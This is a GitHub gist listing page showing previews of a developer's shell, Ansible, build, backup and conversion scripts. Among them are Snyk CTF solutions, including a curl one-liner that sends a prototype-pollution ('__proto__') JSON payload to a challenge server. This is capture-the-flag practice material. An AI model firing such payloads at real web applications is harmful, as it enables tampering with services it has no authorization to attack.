Skip to content

Instantly share code, notes, and snippets.

Avatar

pythoninthegrass

View GitHub Profile
@pythoninthegrass
pythoninthegrass / fp
Last active May 12, 2023 06:08
flatpak shim until they're added to path as expected
View fp
#!/usr/bin/env zsh
# SOURCES:
# https://github.com/magical-heyrovsky
# https://github.com/flatpak/flatpak/issues/994#issuecomment-1484158855
# https://apple.stackexchange.com/questions/296477/my-command-line-says-complete13-command-not-found-compdef
# https://unix.stackexchange.com/questions/353076/how-to-indent-an-heredoc-inside-an-heredoc-the-right-way
# * leading tabs: indent here-document (heredoc)
# * spaces: indent code within heredoc
View ._ Loading variables from .env files in Ansible.md

Loading variables from .env files in Ansible

Ansible has various ways of looking up data from outside sources, including plain text password files, CSV files and INI files. But it doesn't seem to have a lookup for .env files, as used in Laravel projects, also available for PHP, Ruby, Node.js, Python and others.

One option is to launch Ansible with the Ruby dotenv command line script... But that requires Ruby, which seems like overkill to me.

So here is a simpler solution that I use. It consists of:

  1. The .env file itself
  2. A small shell script that loads the .env file into environment variables - ansible-playbook.sh
@pythoninthegrass
pythoninthegrass / bootstrap
Created April 4, 2023 07:25
Compile known good Citra build on M1 Mac
View bootstrap
#!/usr/bin/env bash
# shellcheck disable=SC2046,SC2155,SC2164
brew install doxygen pkgconfig sdl2 qt5 ffmpeg cmake openssl
brew link --force openssl
pkg-config --modversion openssl
git clone --recursive https://github.com/citra-emu/citra-nightly.git
cd citra-nightly/
git checkout d380980
@pythoninthegrass
pythoninthegrass / solution.py
Created March 31, 2023 04:27
Snyk CTF-101: sauerkraut
View solution.py
#!/usr/bin/env python3
# fmt: off
import asyncio
import atexit
import base64
import pickle
import subprocess
import sys
import requests
@pythoninthegrass
pythoninthegrass / solution.sh
Created March 31, 2023 04:24
Snyk CTF-101: invisible-ink
View solution.sh
# invisible-ink
curl -H "Content-Type: application/json" -X POST -d '{"about": {"__proto__": {"flag": "true"}}}' http://invisible-ink.c.ctf-snyk.io/echo
@pythoninthegrass
pythoninthegrass / README.md
Last active February 28, 2023 21:13 — forked from nordineb/readme.MD
multipass + qemu on macOS
View README.md

multipass + qemu on macOS

Multipass can launch and run virtual machines and configure them with cloud-init like a public cloud

Usage

brew install multipass libvirt
brew services start libvirt
multipass set local.passphrase=<foo>    # `multipass set local.passphrase` avoids stdout creds
multipass authenticate
multipass get local.driver
@pythoninthegrass
pythoninthegrass / openssl_commands.md
Created January 20, 2023 21:13 — forked from Hakky54/openssl_commands.md
Some list of openssl commands for check and verify your keys
View openssl_commands.md

OpenSSL 🔐

Install

Install the OpenSSL on Debian based systems

sudo apt-get install openssl
@pythoninthegrass
pythoninthegrass / bashprofile.py
Last active January 19, 2023 00:36
Profile .bashrc
View bashprofile.py
#!/usr/bin/env python
import argparse
import io
import operator
import re
from contextlib import redirect_stderr
from pathlib import Path
"""
@pythoninthegrass
pythoninthegrass / backup-saves.service
Last active December 24, 2022 19:16
Backup local Steam Deck save files via ludusavi and rclone
View backup-saves.service
# /usr/lib/systemd/system/backup-saves.service
[Unit]
Description=Run ludusavi then rsync to offsite backup
[Service]
Type=simple
ExecStart=bash /home/deck/backup_saves.sh
@pythoninthegrass
pythoninthegrass / convert.py
Last active November 6, 2022 18:39 — forked from aolle/convert.py
Convert Nimbus Notes HTML to Markdown for UpNote
View convert.py
#!/usr/bin/env python3
"""
NOTE:
Extended into a full repo at https://github.com/pythoninthegrass/convert_html_md
Any future work will be posted there.
SOURCES:
https://gist.github.com/aolle/6e595650391deef79ffb1c9bb38fb6e9
https://dev.to/kcdchennai/python-decorator-to-measure-execution-time-54hk